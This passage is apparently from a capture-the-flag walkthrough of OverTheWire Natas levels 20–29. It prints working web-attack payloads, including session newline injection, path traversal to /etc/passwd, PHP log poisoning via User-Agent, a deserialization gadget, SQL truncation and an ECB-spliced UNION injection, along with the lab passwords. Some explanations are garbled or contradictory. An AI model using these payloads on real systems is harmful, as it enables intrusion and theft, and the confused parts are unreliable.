    debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}
?>

Here’s how the session data is being handled:

  • mywrite() takes the session variables (key-value pairs) from $_SESSION, writes them into a file with each key-value pair separated by a space on a new line.
foreach($_SESSION as $key => $value) {
    $data .= "$key $value\n";
}

  • myread() reads these files, splits each line by the space, and then re-populates the $_SESSION array.
foreach(explode("\n", $data) as $line) {
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}

The goal is to make the function print_credentials() show the admin credentials. This happens if the session variable $_SESSION["admin"] is set to 1, like so:

if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are...";
}

Our Objective: We need to set the admin session variable to 1.

However, the page only stores the name variable from the request in the session:

$_SESSION["name"] = $_REQUEST["name"];

This means we can’t directly send admin=1 in the POST request. But there’s a flaw in the way sessions are written in mywrite(). If we manipulate the name parameter to include a newline (\n), we can trick the system into writing a second line with admin 1.

By sending a request with the name set to something like: admin%0Aadmin 1, it will store admin 1 as a separate session variable, effectively giving us admin rights.

Let’s try it using Burp Repeater to avoid URL encoding issues.

  1. In Burp Repeater, send a POST request to the server with the following payload:

     name=admin%0Aadmin 1
    

  2. This should create a session where $_SESSION["admin"] = 1.

  3. Reload the page, and you’ll see the message: “You are an admin. The credentials for the next level are…” along with the password for Natas21.

And here is the password for the level 21
BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

Natas Level 21 → Level 22: Cross-Site Session Manipulation

Username: natas21
Password: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH
URL: http://natas21.natas.labs.overthewire.org

After logging in with the credits above, nothing is exciting on the current site unless the note that mentions the experimenter website

Our objective as the same as the previous level to make the the admin key equal 1:

So let’s check the experimenter website:

Source Code:

<?php

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

This code updates the session variables with [align, fontsize, bgcolor] keys with their values:

We can validate this by visiting the debug page and adding ?debug at the end of URL:

Since our goal is to make the admin's key equal to 1, So what about injecting the admin=1 next to other parameters to the:

We notice that our key&value were added successfully on the debug page:

So let’s take the admin session cookie and place it on the other website to execute print_credentials() function and print the next level password:

After that refresh the page and voila we retrieve the next level password:

And here is the password for the level 22
d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz

Natas Level 22 → Level 23: HTTP Response/Redirect Bypass

Username: natas22
Password: d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
URL: http://natas22.natas.labs.overthewire.org

After logging in with the credits above, we saw a blank page only:

Source Code:

<?php
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}?>

<?php
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }?>

So simply we can pass the revelio parameter using burp to trace if there is redirection

And here is the password for the level 23
dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs

Natas Level 23 → Level 24: PHP Type Juggling / String Comparison

Username: natas23
Password: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs
URL: http://natas23.natas.labs.overthewire.org

After logging in with the credits above, there is a password field:

Source Code:

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111?>
  • The code checks if the passwd parameter exists in the request (GET or POST).

  • The first condition is that the string must contain "iloveyou". This is done using strstr() which looks for the substring.

  • The second condition checks if the value of passwd is greater than 10 using $_REQUEST["passwd"] > 10.

Problem:

Initially, we might think of submitting something like iloveyou11, expecting it to pass both conditions. However, this doesn't work because PHP’s type juggling treats non-numeric strings as 0 when doing numeric comparisons.

Let me show why.

  • If passwd=iloveyou11, PHP sees "iloveyou" first, converts it to 0 (since it’s non-numeric), and the comparison 0 > 10 fails.

  • We need the passwd value to start with a number greater than 10, followed by "iloveyou" to satisfy both conditions.

Solution:

The trick is to place a number greater than 10 before "iloveyou". For example, using 011iloveyou.

Let’s break down why this works:

  • passwd=101iloveyou

    • The first condition strstr($_REQUEST["passwd"], "iloveyou") is satisfied because "iloveyou" is in the string.

    • The second condition $_REQUEST["passwd"] > 10 is also satisfied because PHP sees the 101 at the start of the string and interprets it as a numeric value (011), which is obviously greater than 10.

Both conditions are true, and you get the credentials.

And here is the password for the level 24
MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd

Natas Level 24 → Level 25: PHP strcmp() Null Byte Vulnerability

Username: natas24
Password: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd
URL: http://natas24.natas.labs.overthewire.org

In this level, the challenge is similar to previous ones, but now the input is being compared against a secret password using the PHP function strcmp().

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

At this level, the password is checked using the strcmp() function. According to the PHP documentation, this function compares two strings and returns:

  • 0 if the strings are equal,

  • A value greater than 0 if the first string is greater,

  • A value less than 0 if the second string is greater.

Exploiting strcmp() Behavior

In PHP, strcmp() has a strange behavior when non-string data types are passed to it. Specifically, if non-string values are provided as arguments, it can sometimes return 0, even if the values are not actually equal to strings.

This is due to PHP's implicit type juggling. When strcmp() compares an array to a string, it doesn’t know how to compare the two and returns 0—indicating they are "equal" by default.

This vulnerability allows us to bypass the actual password check by exploiting this behavior.

Exploit: Sending an Empty Array

PHP's strcmp() will try to compare this array with the secret password but will fail to compare them correctly, causing it to return 0 and treating the input as correct. Similar to this challenge. So, let's try passing the empty array passwd[].

And here is the password for the level 24
ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws

Natas Level 25 → Level 26: Directory Traversal and Log Poisoning

Username: natas25
Password: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws
URL: http://natas25.natas.labs.overthewire.org

After logging in with the credits above, The level starts with a long paragraph from Bad Boy Bubby movie but what is important to us is the language drop-down menu that is responsible for changing paragraph language using ?lang parameter.

Source Code:

<?php
    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    } 

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

Objective:

To find the password for the next level, we need to exploit a vulnerability in the language inclusion mechanism in the source code.

Analyzing the Source Code

The PHP code includes a function called setLanguage() which is responsible for loading a specific language file based on user input (lang parameter). It calls safeinclude() to include the corresponding language file.

Key functions:

  1. setLanguage():

    • Checks if the lang parameter exists in the request.

    • If present, it tries to include the specified file from the language/ directory by calling safeinclude().

    • If the file doesn't exist or is not specified, it defaults to including language/en.

  2. safeinclude():

    • This function attempts to safely include a file by checking for potential directory traversal attacks and illegal file access attempts.

    • It prevents directory traversal by replacing ../ with an empty string and logs attempts.

    • It prevents direct access to files containing natas_webpass, which holds passwords.

    • After these checks, it tries to include the file if it exists.

  3. listFiles():

    • Lists all files in the language/ directory, which are displayed in the language selection form.
  4. logRequest():

    • This function will create a date() object, get the HTTP user agent from our request, the message generated by the safeinclude()

    • Check, and then write all of that to a log file available at /var/www/natas/natas25/logs/natas25_oursessionIDhere.log.

Bypassing Directory Traversal

Our goal is to access files outside the language directory. But the app's code prevents ../ from being used directly. However, there’s a trick we can use:
By passing ....// instead of ../, the app’s str_replace() call only removes the ../ part, leaving us with ../ in the final string—exactly what we need.

Step 1: Proof of Concept

Let’s check if this trick works by requesting:
http://natas25.natas.labs.overthewire.org/?lang=....//

We should see an error indicating that no file is found, proving that we’ve successfully moved up a directory. If we keep adding layers like ....//....//, we can move even further up the directory structure.

Step 2: Exploring the System

Using the traversal trick, we can attempt to read sensitive files. For instance, to read /etc/passwd: http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//etc/passwd

Although this doesn’t give us the password, it confirms that we can access arbitrary files on the system.

Bypassing the Password Check

The next step is to bypass the restriction preventing us from directly reading the natas_webpass/natas26 file. The application logs any illegal file access attempts, which are written to log files. These logs are stored in:

/var/www/natas/natas25/logs/natas25_<session_id>.log

The logRequest() function logs each access, including the HTTP User-Agent header. This is where we can inject PHP code and exploit a log injection vulnerability.

Step 3: Log Injection

Using Burp Suite, intercept a request to the server and modify the User-Agent header with the following PHP code:

<?php echo file_get_contents("/etc/natas_webpass/natas26"); ?>

When this request is processed, the code will be written into the log file. Now, access the log file by navigating to: http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_6pd5e19vra7qpmdkl85lese8sn.log

This will execute the injected PHP code and print the password for Natas 26 in the log.

And here is the password for the level 25
cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE

Natas Level 26 → Level 27: PHP Object Injection / Insecure Deserialization

Username: natas26
Password: cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE
URL: http://natas26.natas.labs.overthewire.org

After logging in with the credits above, the web app lets you submit two (X, Y) pairs to draw lines. Each new pair is added to the previous lines.

Source Code:

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"],
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) &&
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) &&
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }
?>

The challenge source code consists of multiple functions and classes for drawing images and storing user inputs in cookies. It contains the following main components:

  1. Logger Class:

    • The Logger class is used to log messages to a file. It has three variables (logFile, initMsg, and exitMsg) and three methods (__construct(), log(), and __destruct()).

    • __construct(): This method initializes the log file and writes an initial message (#--session started--#) to the file.

    • __destruct(): This method writes an exit message (#--session end--#) when the object is destroyed.

    • The log file is stored in /tmp/natas26_<session_id>.log.

  2. Image Drawing Functions:

    • drawImage($filename): This function creates an image and calls drawFromUserdata() to draw lines based on user input.

    • drawFromUserdata($img): It reads the user input (via GET parameters or cookies) to draw lines on the image.

    • storeData(): It stores the user inputs into cookies after drawing the image.

  3. Session Handling and Cookie Usage:

    • The code uses PHP sessions and cookies to manage user input. The drawing coordinates are saved in cookies (as serialized and base64-encoded data) to allow persistence across requests.

Step 2: Vulnerable Code Snippet

The main vulnerability here is the insecure deserialization of user-controlled data, as seen in the following lines from drawFromUserdata():

if (array_key_exists("drawing", $_COOKIE)){
    $drawing=unserialize(base64_decode($_COOKIE["drawing"]));

The unserialize() function is used to deserialize the drawing cookie, which is controlled by the user. Since PHP’s unserialize() can execute code when deserializing objects with destructors, this is a critical point of exploitation.

Step 3: Exploitation - PHP Object Injection via Logger Class

We can exploit the insecure deserialization by injecting a malicious object into the drawing cookie. Since the Logger class has a __destruct() method, we can control the destruction of an object to trigger file operations, such as reading sensitive files.

Malicious Code Construction:
  1. We create an object of the Logger class that will write the contents of /etc/natas_webpass/natas27 to a web-accessible file (img/flag.php) when it is destroyed.
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;

function __construct(){
// initialise variables
    $this->initMsg="#--session started--#\n";
    $this->exitMsg="<?php include_once('/etc/natas_webpass/natas27');?>";
    $this->logFile = "img/flag.php";
    }
}

$output[]=new Logger();
echo base64_encode(serialize($output));
?>
  • This code will create a base64-encoded serialized object that, upon deserialization, writes the content of the /etc/natas_webpass/natas27 file to img/flag.php.

Step 4: Steps for Exploitation

  1. Craft the Malicious Object:

    • Run the PHP code provided to generate a base64-encoded payload.

  1. Send the payload:

    • Use Burp Suite to set the drawing cookie with the base64-encoded payload generated in the previous step.

  1. Trigger Deserialization:

    • Reload the page. When the application deserializes the cookie, the Logger object will trigger its destructor, writing the contents of /etc/natas_webpass/natas27 to img/flag.php.

Step 4: Solution Summary

  1. The vulnerable code is the unserialize() function in drawFromUserdata(), which allows the deserialization of user-controlled data.

  2. We exploit this by injecting a serialized Logger object that writes the password for the next level to a file accessible on the webserver.

  3. After injecting the malicious payload, we retrieve the password by visiting the file created by the injected Logger object.

With this approach, we successfully exploited the insecure deserialization vulnerability to retrieve the password for natas27.

And here is the password for the level 27
u3RRffXjysjgwFU6b9xa23i6prmUsYne

Natas Level 27 → Level 28: SQL Truncation Attack / Username Space Padding Exploitation

Username: natas27
Password: u3RRffXjysjgwFU6b9xa23i6prmUsYne
URL: http://natas27.natas.labs.overthewire.org

After logging in with the credits above, It’s another login form using username and password…

Source Code:

<?php
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>

Functionality Flow:

  1. Username & Password Submission: When you submit a username and password through the form, the code checks whether the username exists in the database using the validUser function.

    • If the user exists, it checks the credentials using checkCredentials.

    • If the credentials are valid, it displays the user's data using dumpData.

    • If the password is wrong, it shows the message "Wrong password."

  2. User Creation: If the user does not exist, the script creates a new user with the provided username and password using the createUser function. The username and password are both truncated to 64 characters and escaped to prevent SQL injection.

Key Vulnerability:

The vulnerability lies in how MySQL handles string truncation for the username field, which has a length limit of 64 characters. If you enter a username that is longer than 64 characters, MySQL will silently truncate it.

This allows us to create two entries in the users table with the same truncated username but with different passwords. Here's how:

  1. Login as 'natas28': The natas28 account already exists, but we don't know the password. If you try logging in as 'natas28', you'll get a "Wrong password" message.

  2. Create a Long Username:

    • When you submit a username like 'natas28' followed by a large number of spaces and extra characters, such as 'natas28 {spaces} a', it exceeds 64 characters.

    • When this is inserted into the database, MySQL truncates the username to 'natas28', but since the username is unique, it creates a second entry for 'natas28' with the password you provided.

  3. Login as 'natas28' with Your Password: Now that there are two entries in the database with the username 'natas28':

    • When you log in as 'natas28' with your password, the application will retrieve the first row for 'natas28' from the database.

    • The first row contains the actual password for 'natas28', which will be dumped using the dumpData function.

  4. The Null Byte Trick:

    • Normally, appending a username that is too long will result in it being truncated after 64 characters.

    • By using a null byte (%00) after the username, we can terminate the string in a way that forces truncation earlier.

    • The null byte is treated as the end of a string in many programming languages, so everything after it is ignored.

  5. Exploitation:

    • The goal is to create a new user by exploiting this truncation behavior.

    • We need to create a user with the name natas28, but this is already taken. So, we use a string like natas28%00.

    • The null byte %00 will cause the username check to fail (since it is not treated as a valid match), allowing us to create a new user.

    • Once the user is created with the null byte, we can log in using the shortened username (natas28) and our password.

  6. Steps:

    1. Create a new user with a long username:
      Use a username like:
    natas28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

and any password. This exploits the null byte truncation to bypass the existing natas28 user.

  1. Log in as natas28 with the password you just set.
    Now, because of the truncation, the system recognizes your user as natas28 (but with your password), allowing you to dump the original natas28's data.

And here is the password for the level 28
1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj

Natas Level 28 → Level 29: Block Cipher Exploitation / SQL Injection with ECB Encryption

Username: natas28
Password: 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
URL: http://natas28.natas.labs.overthewire.org

After logging in with the credits above, Unusually there is no source code for this level.

By testing the behavior of the search function we are dealing with an application that allows users to search for jokes in a database using a search query and it’s similar to the levels that searches in dictionary.txt that it’s vulnerable to SQLi.

If we try SQL injection by submitting a search query of '… we don’t get anything useful. They must be escaping that character, as we get results back that have literal single quotes in them:

The query is encrypted and passed to the search.php via ?query parameter. Let's walk through the challenge and see how we can exploit it to retrieve the password for the next level.

## if we enter "a" letter
http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKriAqPE2%2B%2BuYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D

This query seems to be encrypted, and when we decode it using CyberChef, we realize it's not just base64 encoded but encrypted data.

When we send plain text as a query parameter (for example, ?query=test), we get an error mentioning invalid padding. This strongly indicates that the encryption method is a block cipher that operates in blocks of fixed size (most likely 16 bytes).

ECB Mode Detection

Next, by varying the length of the input, we notice that some of the encrypted blocks in the URL remain the same across different queries. This repetition of encrypted blocks is a typical indicator of ECB (Electronic Codebook) mode encryption, where identical plaintext blocks always produce identical ciphertext blocks.

Understanding the Query Structure

Based on this, we hypothesize that the encrypted query consists of three parts:

  1. Default Prepended Text: This is some fixed string prepended to our input before encryption.

  2. User Input: The search string we enter.

  3. Padding: Padding was added to align the total length to the block size (16 bytes for block ciphers like AES).

## different query between []
input= a
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][KriAqPE2%2B%2BuYlniRMkobB1v]foQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
input= b
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][IYiwNnSJY7KHJGU%2BXjuMzVv]foQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
input= c
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][KEMZKNASy09t5ooTNAbaX0v]foQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
input= abc
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][LA9VE0ga2mtCFqzqUJJfB2mi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo%3D
input= abc123
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP]LcD5JtvcsL4npy0PvdLSLWQcCYxLrNxe2TV1ZOUQXdfmTQ3MhoJTaSrfy9N5bRv4o%3D

A bit of a theory:

Block cipher mode of operation - Source

We can infer this by analyzing how the query size increases when we change the input length.

Using this script:

import requests
import string
from requests.auth import HTTPBasicAuth
import urllib.parse

basicAuth = HTTPBasicAuth('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')
url = "http://natas28.natas.labs.overthewire.org/index.php"
count = 1
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

while count <= 100:
    data = "query=" + "A" * count
    response = requests.post(url, headers=headers, data=data, auth=basicAuth, verify=False, allow_redirects=True)

    formatted_count = "{:02d}x a".format(count)
    clean_url = urllib.parse.unquote(response.url).replace("http://natas28.natas.labs.overthewire.org/search.php/?", "")
    print(formatted_count, clean_url)

    count += 1

print("Done!")

The Result:

This increase in length, as well as the length of the chars in the blue box, are roughly the same size. If we take an example string from the green box, JfIqcn9iVBmkZvmvU4kfmy, it is 22 chars in length (in base64) but 16 chars when we base64 decode it.

This tells us that the block size is 16.

The second challenge that will face us is the sql injection escaping

if we pass aaaaaaaaaA to the search function or other letters like B, C and D for example this is the query will look like this:

Identifying Block Structure

For A, B, C all blocks are the same unless the third block changes according to the content

#All queries are url decoded

aaaaaaaaaA: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPI98XYsr4llMqusV1gUeidRc4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
aaaaaaaaaB: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLESiMWKuPw4RRVkMJcBnvec4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
aaaaaaaaaC: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJZgOo3mNiOAbTfRkS+2AMyc4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=

But with , and \ all blocks are the same unless the fourth one

aaaaaaaaa\: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIR27gK4CQl3Jcmv/0YAxYOfN5woKhSkQjlY0g5eVSYncqM9OYQkTq645oGdhkgSlo=
aaaaaaaaa': G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIR27gK4CQl3Jcmv/0YAxYOstdkbwCSkbjZzJR1FrozncqM9OYQkTq645oGdhkgSlo=
aaaaaaaaa": G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIR27gK4CQl3Jcmv/0YAxYOe0uzFQTQyTJF5uPUK3I8gMqM9OYQkTq645oGdhkgSlo=

If this indicates anything, it indicates that these Characters may be escaped to sanitize the sql injection for example by replacing aaaaaaaaa“ to aaaaaaaaa\

  1. Testing different input lengths reveals:

    • The first 2 blocks are constant (query prefix)

    • The last 2 blocks are constant (query suffix)

    • Middle blocks contain our input

    • Block size is 16 bytes

From analysis of the ECB we understood:

  • Same input block = Same output block

  • No chaining between blocks

  • Makes pattern analysis possible

  1. Key components identified:
Header: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
DummyBlock: ItlMM3qTizkRB5P2zYxJsb
Trailer: c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=

Exploitation Strategy

  1. The application likely escapes ' with \ for SQL injection prevention

  2. By placing ' after exactly 9 characters, we can:

    • Force the escape character into a predictable block

    • Replace that block with our dummy block

    • Allow our SQL injection to work

Crafting the Exploit

  1. First, let's enumerate the databases using this query:
AAAAAAAAA' UNION SELECT table_name FROM information_schema.tables; --
  1. Breaking down the payload structure:
[Header block]
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP

[Dummy block]
ItlMM3qTizkRB5P2zYxJsb

[Encrypted SQL injection part]
r0T1ii+Ysw9O0BMRL2Q9HUY+Hp7DfIbgLrY9HzzScnSwiwIQQLHbuTybkf0vfvyOoqRnCxfnbDr4842Rxdxh1GSGlUrqRvuT6auFhFtPS9DX/ytyVFP8KUcB5R9dfA+O

[Trailer]
c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
  1. URL-encode the result then submit

  1. Now that we know the table name, we can modify our injection to get the password:
AAAAAAAAA' UNION SELECT password FROM users; --
  1. Final payload breakdown with actual values:
Original query structure:
[Header][Block with our input][Trailer]

Becomes:
[Known good header]: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
[Dummy block]: ItlMM3qTizkRB5P2zYxJsb
[Our SQL injection encrypted]: +76GKJOY6adng39QUMPprGe5X2vrsM8BRZAxT9Bt8cmSBdGBYutGkE7dxkKLuB1QrDuHHBxEg4a0XNNt
[Known good trailer]: no9y9GVRSbu6ISPYnZVBfqJ/OntzilF7SkUAJGd1F1rllrvW803zOcae3OEfZlC7ztYnAg==

Full payload URL:

http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPItlMM3qTizkRB5P2zYxJsb%2B76GKJOY6adng39QUMPprGe5X2vrsM8BRZAxT9Bt8cmSBdGBYutGkE7dxkKLuB1QrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ%2FOntzil%2F7SkUAJGd1F1rllrvW803zOcae3OEfZlC7ztYnAg%3D%3D

Resources:

And here is the password for the level 29
31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns

Natas Level 29 → Level 30: Command Injection and Filter Bypass in Perl

Username: natas29
Password: 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns
URL: http://natas29.natas.labs.overthewire.org

